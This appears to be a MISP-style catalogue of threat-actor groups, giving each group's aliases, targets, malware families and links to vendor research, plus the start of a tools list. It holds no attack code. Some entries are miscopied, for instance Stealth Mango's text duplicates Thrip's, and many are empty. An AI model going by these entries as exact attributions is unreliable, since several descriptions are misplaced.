In October 2012, malware attacks against Israeli government targets grabbed media attention as officials temporarily cut off Internet access for its entire police force and banned the use of USB memory sticks. Security researchers subsequently linked these attacks to a broader, yearlong campaign that targeted not just Israelis but Palestinians as well. and as discovered later, even the U.S. and UK governments. Further research revealed a connection between these attacks and members of the so-called “Gaza Hackers Team.” We refer to this campaign as “Molerats.”
Molerats is also known as:
-
Gaza Hackers Team
-
Gaza cybergang
-
Operation Molerats
-
Extreme Jackal
-
Moonlight
Links |
http://blog.vectranetworks.com/blog/moonlight-middle-east-targeted-attacks |
PROMETHIUM
PROMETHIUM is an activity group that has been active as early as 2012. The group primarily uses Truvasys, a first-stage malware that has been in circulation for several years. Truvasys has been involved in several attack campaigns, where it has masqueraded as one of server common computer utilities, including WinUtils, TrueCrypt, WinRAR, or SanDisk. In each of the campaigns, Truvasys malware evolved with additional features—this shows a close relationship between the activity groups behind the campaigns and the developers of the malware.
PROMETHIUM is also known as:
-
StrongPity
Links |
NEODYMIUM
NEODYMIUM is an activity group that is known to use a backdoor malware detected by Microsoft as Wingbird. This backdoor’s characteristics closely match FinFisher, a government-grade commercial surveillance package. Data about Wingbird activity indicate that it is typically used to attack individual computers instead of networks.
Links |
Packrat
A threat group that has been active for at least seven years has used malware, phishing and disinformation tactics to target activists, journalists, politicians and public figures in various Latin American countries. The threat actor, dubbed Packrat based on its preference for remote access Trojans (RATs) and because it has used the same infrastructure for several years, has been analyzed by Citizen Lab researchers John Scott-Railton, Morgan Marquis-Boire, and Claudio Guarnieri, and Cyphort researcher Marion Marschalek, best known for her extensive analysis of state-sponsored threats.
Links |
Cadelle
Symantec telemetry identified Cadelle and Chafer activity dating from as far back as July 2014, however, it’s likely that activity began well before this date. Command-and-control (C&C) registrant information points to activity possibly as early as 2011, while executable compilation times suggest early 2012. Their attacks continue to the present day. Symantec estimates that each team is made up of between 5 and 10 people.
Links |
Chafer
Symantec telemetry identified Cadelle and Chafer activity dating from as far back as July 2014, however, it’s likely that activity began well before this date. Command-and-control (C&C) registrant information points to activity possibly as early as 2011, while executable compilation times suggest early 2012. Their attacks continue to the present day. Symantec estimates that each team is made up of between 5 and 10 people.
Links |
PassCV
The PassCV group continues to be one of the most successful and active threat groups that leverage a wide array of stolen Authenticode-signing certificates. Snorre Fagerland of Blue Coat Systems first coined the term PassCV in a blog post. His post provides a good introduction to the group and covers some of the older infrastructure, stolen code-signing certificate reuse, and other connections associated with the PassCV malware. There are several clues alluding to the possibility that multiple groups may be utilizing the same stolen signing certificates, but at this time SPEAR believes the current attacks are more likely being perpetrated by a single group employing multiple publicly available Remote Administration Tools (RATs). The PassCV group has been operating with continued success and has already started to expand their malware repertoire into different off-the-shelf RATs and custom code. SPEAR identified eighteen previously undisclosed stolen Authenticode certificates. These certificates were originally issued to companies and individuals scattered across China, Taiwan, Korea, Europe, the United States and Russia. In this post we expand the usage of the term ‘PassCV’ to encompass the malware mentioned in the Blue Coat Systems report, as well as the APT group behind the larger C2 infrastructure and stolen Authenticode certificates. We’d like to share some of our findings as they pertain to the stolen certificates, command and control infrastructure, and some of the newer custom RATs they’ve begun development on.
Links |
https://blog.cylance.com/digitally-signed-malware-targeting-gaming-companies |
Sath-ı Müdafaa
A Turkish hacking group, Sath-ı Müdafaa, is encouraging individuals to join its DDoS-for-Points platform that features points and prizes for carrying out distributed denial-of-service (DDoS) attacks against a list of predetermined targets. Their DDoS tool also contains a backdoor to hack the hackers. So the overarching motivation and allegiance of the group is not entirely clear.
Aslan Neferler Tim
Turkish nationalist hacktivist group that has been active for roughly one year. According to Domaintools, the group’s site has been registered since December 2015, with an active Twitter account since January 2016. The group carries out distributed denial-of-service (DDoS) attacks and defacements against the sites of news organizations and governments perceived to be critical of Turkey’s policies or leadership, and purports to act in defense of Islam
Aslan Neferler Tim is also known as:
-
Lion Soldiers Team
-
Phantom Turk
Ayyıldız Tim
Ayyıldız (Crescent and Star) Tim is a nationalist hacking group founded in 2002. It performs defacements and DDoS attacks against the websites of governments that it considers to be repressing Muslim minorities or engaged in Islamophobic policies.
Ayyıldız Tim is also known as:
-
Crescent and Star
TurkHackTeam
Founded in 2004, Turkhackteam is one of Turkey’s oldest and most high-profile hacking collectives. According to a list compiled on Turkhackteam’s forum, the group has carried out almost 30 highly publicized hacking campaigns targeting foreign government and commercial websites, including websites of international corporations.
TurkHackTeam is also known as:
-
Turk Hack Team
Equation Group
The Equation Group is a highly sophisticated threat actor described by its discoverers at Kaspersky Labs as one of the most sophisticated cyber attack groups in the world, operating alongside but always from a position of superiority with the creators of Stuxnet and Flame
Equation Group is also known as:
-
Tilded Team
-
Lamberts
-
EQGRP
Links |
https://www.cfr.org/interactive/cyber-operations/equation-group |
Greenbug
Greenbug was discovered targeting a range of organizations in the Middle East including companies in the aviation, energy, government, investment, and education sectors.
Links |
Gamaredon Group
Unit 42 threat researchers have recently observed a threat group distributing new, custom developed malware. We have labelled this threat group the Gamaredon Group and our research shows that the Gamaredon Group has been active since at least 2013. In the past, the Gamaredon Group has relied heavily on off-the-shelf tools. Our new research shows the Gamaredon Group have made a shift to custom-developed malware. We believe this shift indicates the Gamaredon Group have improved their technical capabilities.
Links |
http://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution |
Hammer Panda
Hammer Panda is a group of suspected Chinese origin targeting organisations in Russia.
Hammer Panda is also known as:
-
Zhenbao
-
TEMP.Zhenbao
Links |
Infy
Infy is a group of suspected Iranian origin.
Infy is also known as:
-
Operation Mermaid
-
Prince of Persia
Links |
https://www.cfr.org/interactive/cyber-operations/prince-persia |
Sima
Sima is a group of suspected Iranian origin targeting Iranians in diaspora.
Links |
Blue Termite
Blue Termite is a group of suspected Chinese origin active in Japan.
Blue Termite is also known as:
-
Cloudy Omega
-
Emdivi
Links |
https://securelist.com/blog/research/71876/new-activity-of-the-blue-termite-apt/ |
https://www.cfr.org/interactive/cyber-operations/blue-termite |
Groundbait
Groundbait is a group targeting anti-government separatists in the self-declared Donetsk and Luhansk People’s Republics.
Links |
Longhorn
Longhorn has been active since at least 2011. It has used a range of back door Trojans in addition to zero-day vulnerabilities to compromise its targets. Longhorn has infiltrated governments and internationally operating organizations, in addition to targets in the financial, telecoms, energy, aerospace, information technology, education, and natural resources sectors. All of the organizations targeted would be of interest to a nation-state attacker. Longhorn has infected 40 targets in at least 16 countries across the Middle East, Europe, Asia, and Africa. On one occasion a computer in the United States was compromised but, following infection, an uninstaller was launched within hours, which may indicate this victim was infected unintentionally. According to cfr, this threat actor compromises governments, international organizations, academic institutions, and financial, telecommunications, energy, aerospace, information technology, and natural resource industries for espionage purposes. Some of the tools used by this threat actor were released by Wikileaks under the name "Vault 7."
Longhorn is also known as:
-
Lamberts
-
the Lamberts
Callisto
The Callisto Group is an advanced threat actor whose known targets include military personnel, government officials, think tanks, and journalists in Europe and the South Caucasus. Their primary interest appears to be gathering intelligence related to foreign and security policy in the Eastern Europe and South Caucasus regions.
Links |
https://www.f-secure.com/documents/996508/1030745/callisto-group |
APT32
Cyber espionage actors, now designated by FireEye as APT32 (OceanLotus Group), are carrying out intrusions into private sector companies across multiple industries and have also targeted foreign governments, dissidents, and journalists. FireEye assesses that APT32 leverages a unique suite of fully-featured malware, in conjunction with commercially-available tools, to conduct targeted operations that are aligned with Vietnamese state interests.
APT32 is also known as:
-
OceanLotus Group
-
Ocean Lotus
-
Cobalt Kitty
-
APT-C-00
-
SeaLotus
-
APT-32
-
APT 32
SilverTerrier
As these tools rise and fall in popularity (and more importantly, as detection rates by antivirus vendors improve), SilverTerrier actors have consistently adopted new malware families and shifted to the latest packing tools available.
Links |
WildNeutron
A corporate espionage group has compromised a string of major corporations over the past three years in order to steal confidential information and intellectual property. The gang, which Symantec calls Butterfly, is not-state sponsored, rather financially motivated. It has attacked multi-billion dollar companies operating in the internet, IT software, pharmaceutical, and commodities sectors. Twitter, Facebook, Apple, and Microsoft are among the companies who have publicly acknowledged attacks.
WildNeutron is also known as:
-
Butterfly
-
Morpho
-
Sphinx Moth
PLATINUM
PLATINUM has been targeting its victims since at least as early as 2009, and may have been active for several years prior. Its activities are distinctly different not only from those typically seen in untargeted attacks, but from many targeted attacks as well. A large share of targeted attacks can be characterized as opportunistic: the activity group changes its target profiles and attack geographies based on geopolitical seasons, and may attack institutions all over the world. Like many such groups, PLATINUM seeks to steal sensitive intellectual property related to government interests, but its range of preferred targets is consistently limited to specific governmental organizations, defense institutes, intelligence agencies, diplomatic institutions, and telecommunication providers in South and Southeast Asia. The group’s persistent use of spear phishing tactics (phishing attempts aimed at specific individuals) and access to previously undiscovered zero-day exploits have made it a highly resilient threat.
PLATINUM is also known as:
-
TwoForOne
Links |
https://blogs.technet.microsoft.com/mmpc/2016/04/26/digging-deep-for-platinum/ |
ELECTRUM
Adversaries abusing ICS (based on Dragos Inc adversary list). Dragos, Inc. tracks the adversary group behind CRASHOVERRIDE as ELECTRUM and assesses with high confidence through confidential sources that ELECTRUM has direct ties to the Sandworm team. Our intelligence ICS WorldView customers have received a comprehensive report and this industry report will not get into sensitive technical details but instead focus on information needed for defense and impact awareness.
ELECTRUM is also known as:
-
Sandworm
Links |
https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf |
https://dragos.com/media/2017-Review-Industrial-Control-System-Threats.pdf |
RASPITE
Dragos has identified a new activity group targeting access operations in the electric utility sector. We call this activity group RASPITE. Analysis of RASPITE tactics, techniques, and procedures (TTPs) indicate the group has been active in some form since early- to mid-2017. RASPITE targeting includes entities in the US, Middle East, Europe, and East Asia. Operations against electric utility organizations appear limited to the US at this time. RASPITE leverages strategic website compromise to gain initial access to target networks. RASPITE uses the same methodology as DYMALLOY and ALLANITE in embedding a link to a resource to prompt an SMB connection, from which it harvests Windows credentials. The group then deploys install scripts for a malicious service to beacon back to RASPITE-controlled infrastructure, allowing the adversary to remotely access the victim machine.
RASPITE is also known as:
-
LeafMiner
Links |
https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east |
FIN8
FIN8 is a financially motivated group targeting the retail, hospitality and entertainment industries. The actor had previously conducted several tailored spearphishing campaigns using the downloader PUNCHBUGGY and POS malware PUNCHTRACK.
El Machete
El Machete is one of these threats that was first publicly disclosed and named by Kaspersky here. We’ve found that this group has continued to operate successfully, predominantly in Latin America, since 2014. All attackers simply moved to new C2 infrastructure, based largely around dynamic DNS domains, in addition to making minimal changes to the malware in order to evade signature-based detection.
El Machete is also known as:
-
Machete
Links |
https://www.cylance.com/en_us/blog/el-machete-malware-attacks-cut-through-latam.html |
Cobalt
A criminal group dubbed Cobalt is behind synchronized ATM heists that saw machines across Europe, CIS countries (including Russia), and Malaysia being raided simultaneously, in the span of a few hours. The group has been active since June 2016, and their latest attacks happened in July and August.
Cobalt is also known as:
-
Cobalt group
-
Cobalt gang
Links |
https://www.helpnetsecurity.com/2016/11/22/cobalt-hackers-synchronized-atm-heists/ |
TA459
Links |
Cyber Berkut
Links |
https://www.threatconnect.com/blog/russia-hacks-bellingcat-mh17-investigation/.V-wnrubaeEU.twitter[https://www.threatconnect.com/blog/russia-hacks-bellingcat-mh17-investigation/.V-wnrubaeEU.twitter] |
Tonto Team
Links |
Danti
Links |
https://securelist.com/analysis/publications/74828/cve-2015-2545-overview-of-current-threats/ |
APT5
Links |
APT 22
APT 22 is also known as:
-
APT22
Links |
http://www.slideshare.net/CTruncer/ever-present-persistence-established-footholds-seen-in-the-wild |
Tick
This threat actor targets organizations in the critical infrastructure, heavy industry, manufacturing, and international relations sectors for espionage purposes.
Tick is also known as:
-
Bronze Butler
-
RedBaldKnight
Sabre Panda
Links |
http://go.crowdstrike.com/rs/281-OBQ-266/images/ReportGlobalThreatIntelligence.pdf |
Big Panda
Links |
Poisonous Panda
Links |
Ghost Jackal
Links |
TEMP.Hermit
Links |
https://www.isightpartners.com/2016/02/threatscape-media-highlights-update-week-of-february-17th/ |
Mofang
Mofang is also known as:
-
Superman
Links |
https://blog.fox-it.com/2016/06/15/mofang-a-politically-motivated-information-stealing-adversary/ |
CopyKittens
CopyKittens is also known as:
-
Slayer Kitten
Links |
https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf |
https://www.cfr.org/interactive/cyber-operations/copykittens |
EvilPost
Links |
https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html |
SVCMONDR
The referenced link links this group to Temper Panda
Links |
https://securelist.com/analysis/publications/74828/cve-2015-2545-overview-of-current-threats/ |
Test Panda
Links |
http://www.slideshare.net/CrowdStrike/crowd-casts-monthly-you-have-an-adversary-problem |
Madi
Links |
https://securelist.com/blog/incidents/33693/the-madi-campaign-part-i-5/ |
https://securelist.com/blog/incidents/33701/the-madi-campaign-part-ii-53/ |
Electric Panda
Links |
http://www.slideshare.net/CrowdStrike/crowd-casts-monthly-you-have-an-adversary-problem |
Maverick Panda
Maverick Panda is also known as:
-
PLA Navy
-
Sykipot
Links |
https://www.alienvault.com/open-threat-exchange/blog/new-sykipot-developments |
Kimsuki
This threat actor targets South Korean think tanks, industry, nuclear power operators, and the Ministry of Unification for espionage purposes.
Kimsuki is also known as:
-
Kimsuky
Links |
http://securelist.com/analysis/57915/the-kimsuky-operation-a-north-korean-apt/ |
Snake Wine
Links |
https://www.cylance.com/en_us/blog/the-deception-project-a-new-japanese-centric-threat.html |
Careto
This threat actor targets governments, diplomatic missions, private companies in the energy sector, and academics for espionage purposes.
Careto is also known as:
-
The Mask
-
Mask
-
Ugly Face
Links |
https://securelist.com/blog/research/58254/the-caretomask-apt-frequently-asked-questions/ |
Gibberish Panda
Links |
http://www.slideshare.net/CrowdStrike/crowd-casts-monthly-you-have-an-adversary-problem |
OnionDog
This threat actor targets the South Korean government, transportation, and energy sectors.
Links |
Andromeda Spider
Links |
Cyber Caliphate Army
Cyber Caliphate Army is also known as:
-
Islamic State Hacking Division
-
CCA
-
United Cyber Caliphate
-
UUC
-
CyberCaliphate
Links |
https://en.wikipedia.org/wiki/Islamic_State_Hacking_Division |
Magnetic Spider
Links |
http://go.crowdstrike.com/rs/281-OBQ-266/images/ReportGlobalThreatIntelligence.pdf |
Group 27
Links |
Singing Spider
Links |
Cyber fighters of Izz Ad-Din Al Qassam
Cyber fighters of Izz Ad-Din Al Qassam is also known as:
-
Fraternal Jackal
Links |
http://ddanchev.blogspot.com.es/2012/09/dissecting-operation-ababil-osint.html |
AridViper
AridViper is also known as:
-
Desert Falcon
-
Arid Viper
-
APT-C-23
Dextorous Spider
Links |
Pale Panda
Links |
http://go.crowdstrike.com/rs/281-OBQ-266/images/ReportGlobalThreatIntelligence.pdf |
Mana Team
Links |
https://www.isightpartners.com/2016/02/threatscape-media-highlights-update-week-of-february-17th/ |
Sowbug
Sowbug has been conducting highly targeted cyber attacks against organizations in South America and Southeast Asia and appears to be heavily focused on foreign policy institutions and diplomatic targets. Sowbug has been seen mounting classic espionage attacks by stealing documents from the organizations it infiltrates.
Links |
MuddyWater
The MuddyWater attacks are primarily against Middle Eastern nations. However, we have also observed attacks against surrounding nations and beyond, including targets in India and the USA. MuddyWater attacks are characterized by the use of a slowly evolving PowerShell-based first stage backdoor we call “POWERSTATS”. Despite broad scrutiny and reports on MuddyWater attacks, the activity continues with only incremental changes to the tools and techniques.
MuddyWater is also known as:
-
TEMP.Zagros
Links |
MoneyTaker
In less than two years, this group has conducted over 20 successful attacks on financial institutions and legal firms in the USA, UK and Russia. The group has primarily been targeting card processing systems, including the AWS CBR (Russian Interbank System) and purportedly SWIFT (US). Given the wide usage of STAR in LATAM, financial institutions in LATAM could have particular exposure to a potential interest from the MoneyTaker group.
Links |
Microcin
We’re already used to the fact that complex cyberattacks use 0-day vulnerabilities, bypassing digital signature checks, virtual file systems, non-standard encryption algorithms and other tricks. Sometimes, however, all of this may be done in much simpler ways, as was the case in the malicious campaign that we detected a while ago – we named it ‘Microcin’ after microini, one of the malicious components used in it.
Links |
https://securelist.com/a-simple-example-of-a-complex-cyberattack/82636/ |
https://cdn.securelist.com/files/2017/09/Microcin_Technical_4PDF_eng_final_s.pdf |
Dark Caracal
Lookout and Electronic Frontier Foundation (EFF) have discovered Dark Caracal, a persistent and prolific actor, who at the time of writing is believed to be administered out of a building belonging to the Lebanese General Security Directorate in Beirut. At present, we have knowledge of hundreds of gigabytes of exfiltrated data, in 21+ countries, across thousands of victims. Stolen data includes enterprise intellectual property and personally identifiable information.
Links |
https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf |
Nexus Zeta
Nexus Zeta is no stranger when it comes to implementing SOAP related exploits. The threat actor has already been observed in implementing two other known SOAP related exploits, CVE-2014–8361 and CVE-2017–17215 in his Satori botnet project. A third SOAP exploit, TR-069 bug has also been observed previously in IoT botnets. This makes EDB 38722 the fourth SOAP related exploit which is discovered in the wild by IoT botnets.
Links |
APT37
APT37 has likely been active since at least 2012 and focuses on targeting the public and private sectors primarily in South Korea. In 2017, APT37 expanded its targeting beyond the Korean peninsula to include Japan, Vietnam and the Middle East, and to a wider range of industry verticals, including chemicals, electronics, manufacturing, aerospace, automotive and healthcare entities
APT37 is also known as:
-
APT 37
-
Group 123
-
Starcruft
-
Reaper
-
Red Eyes
-
Ricochet Chollima
Leviathan
Leviathan is an espionage actor targeting organizations and high-value targets in defense and government. Active since at least 2014, this actor has long-standing interest in maritime industries, naval defense contractors, and associated research institutions in the United States and Western Europe.
Leviathan is also known as:
-
TEMP.Periscope
Links |
APT34
Since at least 2014, an Iranian threat group tracked by FireEye as APT34 has conducted reconnaissance aligned with the strategic interests of Iran. The group conducts operations primarily in the Middle East, targeting financial, government, energy, chemical, telecommunications and other industries. Repeated targeting of Middle Eastern financial, energy and government organizations leads FireEye to assess that those sectors are a primary concern of APT34. The use of infrastructure tied to Iranian operations, timing and alignment with the national interests of Iran also lead FireEye to assess that APT34 acts on behalf of the Iranian government.
APT34 is also known as:
-
APT 34
APT35
FireEye has identified APT35 operations dating back to 2014. APT35, also known as the Newscaster Team, is a threat group sponsored by the Iranian government that conducts long term, resource-intensive operations to collect strategic intelligence. APT35 typically targets U.S. and the Middle Eastern military, diplomatic and government personnel, organizations in the media, energy and defense industrial base (DIB), and engineering, business services and telecommunications sectors.
APT35 is also known as:
-
APT 35
-
Newscaster Team
Links |
https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf |
Orangeworm
Symantec has identified a previously unknown group called Orangeworm that has been observed installing a custom backdoor called Trojan.Kwampirs within large international corporations that operate within the healthcare sector in the United States, Europe, and Asia. First identified in January 2015, Orangeworm has also conducted targeted attacks against organizations in related industries as part of a larger supply-chain attack in order to reach their intended victims. Known victims include healthcare providers, pharmaceuticals, IT solution providers for healthcare and equipment manufacturers that serve the healthcare industry, likely for the purpose of corporate espionage.
Links |
https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia |
ALLANITE
Adversaries abusing ICS (based on Dragos Inc adversary list).
ALLANITE is also known as:
-
Palmetto Fusion
Links |
CHRYSENE
Adversaries abusing ICS (based on Dragos Inc adversary list). This threat actor targets organizations involved in oil, gas, and electricity production, primarily in the Gulf region, for espionage purposes. According to one cybersecurity company, the threat actor “compromises a target machine and passes it off to another threat actor for further exploitation.”
CHRYSENE is also known as:
-
OilRig
-
Greenbug
Links |
https://dragos.com/media/2017-Review-Industrial-Control-System-Threats.pdf |
COVELLITE
Adversaries abusing ICS (based on Dragos Inc adversary list). This threat actor compromises the networks of companies involved in electric power, specifically looking for intellectual property and information about the companies’ operations.
COVELLITE is also known as:
-
Lazarus
-
Hidden Cobra
Links |
https://dragos.com/media/2017-Review-Industrial-Control-System-Threats.pdf |
DYMALLOY
Adversaries abusing ICS (based on Dragos Inc adversary list). This threat actor targets industrial control systems in Turkey, Europe, and North America. Believed to be linked to Crouching Yeti
DYMALLOY is also known as:
-
Dragonfly2
-
Berserker Bear
Links |
https://dragos.com/media/2017-Review-Industrial-Control-System-Threats.pdf |
MAGNALLIUM
Adversaries abusing ICS (based on Dragos Inc adversary list).
MAGNALLIUM is also known as:
-
APT33
Links |
https://dragos.com/media/2017-Review-Industrial-Control-System-Threats.pdf |
XENOTIME
Adversaries abusing ICS (based on Dragos Inc adversary list).
XENOTIME is also known as:
Links |
ZooPark
ZooPark is a cyberespionage operation that has been focusing on Middle Eastern targets since at least June 2015. The threat actors behind ZooPark infect Android devices using several generations of malware we label from v1-v4, with v4 being the most recent version deployed in 2017.
Links |
LuckyMouse
Experts assigned the codename of LuckyMouse to the group behind this hack, but they later realized the attackers were an older Chinese threat actor known under various names in the reports of other cyber-security firms, such as Emissary Panda, APT27, Threat Group 3390, Bronze Union, ZipToken, and Iron Tiger
LuckyMouse is also known as:
-
Emissary Panda
-
APT27
-
Threat Group 3390
-
Bronze Union
-
ZipToken
-
Iron Tiger
RANCOR
The Rancor group’s attacks use two primary malware families which are naming DDKONG and PLAINTEE. DDKONG is used throughout the campaign and PLAINTEE appears to be new addition to these attackers’ toolkit. Countries Unit 42 has identified as targeted by Rancor with these malware families include, but are not limited to Singapore and Cambodia.
RANCOR is also known as:
-
Rancor group
Links |
The Big Bang
While it is not clear exactly what the attacker is looking for, what is clear is that once he finds it, a second stage of the attack awaits, fetching additional modules and/or malware from the Command and Control server. This then is a surveillance attack in progress and has been dubbed ‘Big Bang’ due to the attacker’s fondness for the ‘Big Bang Theory’ TV show, after which some of the malware’s modules are named.
Links |
https://research.checkpoint.com/apt-attack-middle-east-big-bang/ |
https://blog.talosintelligence.com/2017/06/palestine-delphi.html |
Subaat
In mid-July, Palo Alto Networks Unit 42 identified a small targeted phishing campaign aimed at a government organization. While tracking the activities of this campaign, we identified a repository of additional malware, including a web server that was used to host the payloads used for both this attack as well as others.
Links |
The Gorgon Group
Unit 42 researchers have been tracking Subaat, an attacker, since 2017. Recently Subaat drew our attention due to renewed targeted attack activity. Part of monitoring Subaat included realizing the actor was possibly part of a larger crew of individuals responsible for carrying out targeted attacks against worldwide governmental organizations. Technical analysis on some of the attacks as well as attribution links with Pakistan actors have been already depicted by 360 and Tuisec, in which they found interesting connections to a larger group of attackers Unit 42 researchers have been tracking, which we are calling Gorgon Group.
Links |
DarkHydrus
In July 2018, Unit 42 analyzed a targeted attack using a novel file type against at least one government agency in the Middle East. It was carried out by a previously unpublished threat group we track as DarkHydrus. Based on our telemetry, we were able to uncover additional artifacts leading us to believe this adversary group has been in operation with their current playbook since early 2016. This attack diverged from previous attacks we observed from this group as it involved spear-phishing emails sent to targeted organizations with password protected RAR archive attachments that contained malicious Excel Web Query files (.iqy).
Links |
RedAlpha
Recorded Future’s Insikt Group has identified two new cyberespionage campaigns targeting the Tibetan Community over the past two years. The campaigns, which we are collectively naming RedAlpha, combine light reconnaissance, selective targeting, and diverse malicious tooling. We discovered this activity as the result of pivoting off of a new malware sample observed targeting the Tibetan community based in India.
Links |
https://go.recordedfuture.com/hubfs/reports/cta-2018-0626.pdf |
APT-C-35
In March 2017, the 360 Chasing Team found a sample of targeted attacks that confirmed the previously unknown sample of APT’s attack actions, which the organization can now trace back at least in April 2016. The chasing team named the attack organization APT-C-35. In June 2017, the 360 Threat Intelligence Center discovered the organization’s new attack activity, confirmed and exposed the gang’s targeted attacks against Pakistan, and analyzed in detail. The unique EHDevel malicious code framework used by the organization
APT-C-35 is also known as:
-
DoNot Team
Links |
https://ti.360.net/blog/articles/latest-activity-of-apt-c-35/ |
TempTick
This threat actor targets organizations in the finance, defense, aerospace, technology, health-care, and automotive sectors and media organizations in East Asia for the purpose of espionage. Believed to be responsible for the targeting of South Korean actors prior to the meeting of Donald J. Trump and Kim Jong-un
Links |
Operation Parliament
This threat actor uses spear-phishing techniques to target parliaments, government ministries, academics, and media organizations, primarily in the Middle East, for the purpose of espionage.
Links |
https://www.cfr.org/interactive/cyber-operations/operation-parliament |
https://securelist.com/operation-parliament-who-is-doing-what/85237/ |
Inception Framework
This threat actor uses spear-phishing techniques to target private-sector energy, defense, aerospace, research, and media organizations and embassies in Africa, Europe, and the Middle East, for the purpose of espionage.
Links |
https://www.cfr.org/interactive/cyber-operations/inception-framework |
Winnti Umbrella
This threat actor targets software companies and political organizations in the United States, China, Japan, and South Korea. It primarily acts to support cyber operations conducted by other threat actors affiliated with Chinese intelligence services. Believed to be associated with the Axiom, APT 17, and Mirage threat actors. Believed to share the same tools and infrastructure as the threat actors that carried out Operation Aurora, the 2015 targeting of video game companies, the 2015 targeting of the Thai government, and the 2017 targeting of Chinese-language news websites
Links |
https://www.cfr.org/interactive/cyber-operations/winnti-umbrella |
HenBox
This threat actor targets Uighurs—a minority ethnic group located primarily in northwestern China—and devices from Chinese mobile phone manufacturer Xiaomi, for espionage purposes.
Links |
Mustang Panda
This threat actor targets nongovernmental organizations using Mongolian-themed lures for espionage purposes.
Links |
https://www.cfr.org/interactive/cyber-operations/mustang-panda |
Thrip
This threat actor targets organizations in the satellite communications, telecommunications, geospatial-imaging, and defense sectors in the United States and Southeast Asia for espionage purposes.
Links |
https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets |
Stealth Mango and Tangelo
This threat actor targets organizations in the satellite communications, telecommunications, geospatial-imaging, and defense sectors in the United States and Southeast Asia for espionage purposes.
Links |
https://www.cfr.org/interactive/cyber-operations/stealth-mango-and-tangelo |
PowerPool
Malware developers have started to use the zero-day exploit for Task Scheduler component in Windows, two days after proof-of-concept code for the vulnerability appeared online.
A security researcher who uses the online name SandboxEscaper on August 27 released the source code for exploiting a security bug in the Advanced Local Procedure Call (ALPC) interface used by Windows Task Scheduler.
More specifically, the problem is with the SchRpcSetSecurity API function, which fails to properly check user’s permissions, allowing write privileges on files in C:\Windows\Task.
The vulnerability affects Windows versions 7 through 10 and can be used by an attacker to escalate their privileges to all-access SYSTEM account level.
A couple of days after the exploit code became available (source and binary), malware researchers at ESET noticed its use in active malicious campaigns from a threat actor they call PowerPool, because of their tendency to use tools mostly written in PowerShell for lateral movement.
The group appears to have a small number of victims in the following countries: Chile, Germany, India, the Philippines, Poland, Russia, the United Kingdom, the United States, and Ukraine.
The researchers say that PowerPool developers did not use the binary version of the exploit, deciding instead to make some subtle changes to the source code before recompiling it.
Links |
https://www.bleepingcomputer.com/news/security/windows-task-scheduler-zero-day-exploited-by-malware/ |
Bahamut
Bahamut is a threat actor primarily operating in Middle East and Central Asia, suspected to be a private contractor to several state sponsored actors. They were observed conduct phishing as well as desktop and mobile malware campaigns.
Links |
https://www.bellingcat.com/news/mena/2017/06/12/bahamut-pursuing-cyber-espionage-actor-middle-east/ |
Iron Group
Iron group has developed multiple types of malware (backdoors, crypto-miners, and ransomware) for Windows, Linux and Android platforms. They have used their malware to successfully infect, at least, a few thousand victims.
Iron Group is also known as:
-
Iron Cyber Group
Links |
https://www.intezer.com/iron-cybercrime-group-under-the-scope-2/ |
Operation BugDrop
This threat actor targets critical infrastructure entities in the oil and gas sector, primarily in Ukraine. The threat actors deploy the BugDrop malware to remotely access the microphones in their targets' computers to eavesdrop on conversations.
Links |
https://www.cfr.org/interactive/cyber-operations/operation-bugdrop |
Red October
This threat actor targets governments, diplomatic missions, academics, and energy and aerospace organizations for the purpose of espionage. Also known as the Rocra and believed to be the same threat actor as Cloud Atlas
Red October is also known as:
-
the Rocra
Links |
https://www.cfr.org/interactive/cyber-operations/red-october |
Cloud Atlas
This threat actor targets governments and diplomatic organizations for espionage purposes.
Links |
https://www.cfr.org/interactive/cyber-operations/cloud-atlas |
Unnamed Actor
This threat actor compromises civil society groups the Chinese Communist Party views as hostile to its interests, such as Tibetan, Uyghur, Hong Kong, and Taiwanese activist. The threat actor also targeted the Myanmar electoral commission.
Links |
https://www.cfr.org/interactive/cyber-operations/unnamed-actor |
COBALT DICKENS
”A threat group associated with the Iranian government. The threat group created lookalike domains to phish targets and used credentials to steal intellectual property from specific resources, including library systems.”
COBALT DICKENS is also known as:
-
Cobalt Dickens
Links |
https://www.cyberscoop.com/cobalt-dickens-iran-mabna-institiute-dell-secureworks/ |
MageCart
Digital threat management company RiskIQ tracks the activity of MageCart group and reported their use of web-based card skimmers since 2016.
Links |
https://www.bleepingcomputer.com/news/security/british-airways-fell-victim-to-card-scraping-attack/ |
Domestic Kitten
An extensive surveillance operation targets specific groups of individuals with malicious mobile apps that collect sensitive information on the device along with surrounding voice recordings. Researchers with CheckPoint discovered the attack and named it Domestic Kitten. The targets are Kurdish and Turkish natives, and ISIS supporters, all Iranian citizens.
Links |
https://www.bleepingcomputer.com/news/security/domestic-kitten-apt-operates-in-silence-since-2016/ |
FASTCash
Treasury has identified a sophisticated cyber-enabled ATM cash out campaign we are calling FASTCash. FASTCash has been active since late 2016 targeting banks in Africa and Asia to remotely compromise payment switch application servers within banks to facilitate fraudulent transactions, primarily involving ATMs, to steal cash equivalent to tens of millions of dollars. FBI has attributed malware used in this campaign to the North Korean government. We expect FASTCash to continue targeting retail payment systems vulnerable to remote exploitation.
Tool
threat-actor-tools is an enumeration of tools used by adversaries. The list includes malware but also common software regularly used by the adversaries..
Tool is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP. |
- authors
-
Alexandre Dulaunoy - Florian Roth - Timo Steffens - Christophe Vandeplas - Dennis Rand - raw-data
Tinba
Banking Malware
Tinba is also known as:
-
Hunter
-
Zusy
-
TinyBanker
Links |
http://blog.trendmicro.com/trendlabs-security-intelligence/the-tinbatinybanker-malware/ |
PlugX
Malware
PlugX is also known as:
-
Backdoor.FSZO-5117
-
Trojan.Heur.JP.juW@ayZZvMb
-
Trojan.Inject1.6386
-
Korplug
-
Agent.dhwf
Links |
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/web-attack/112/pulling-the-plug-on-plugx |
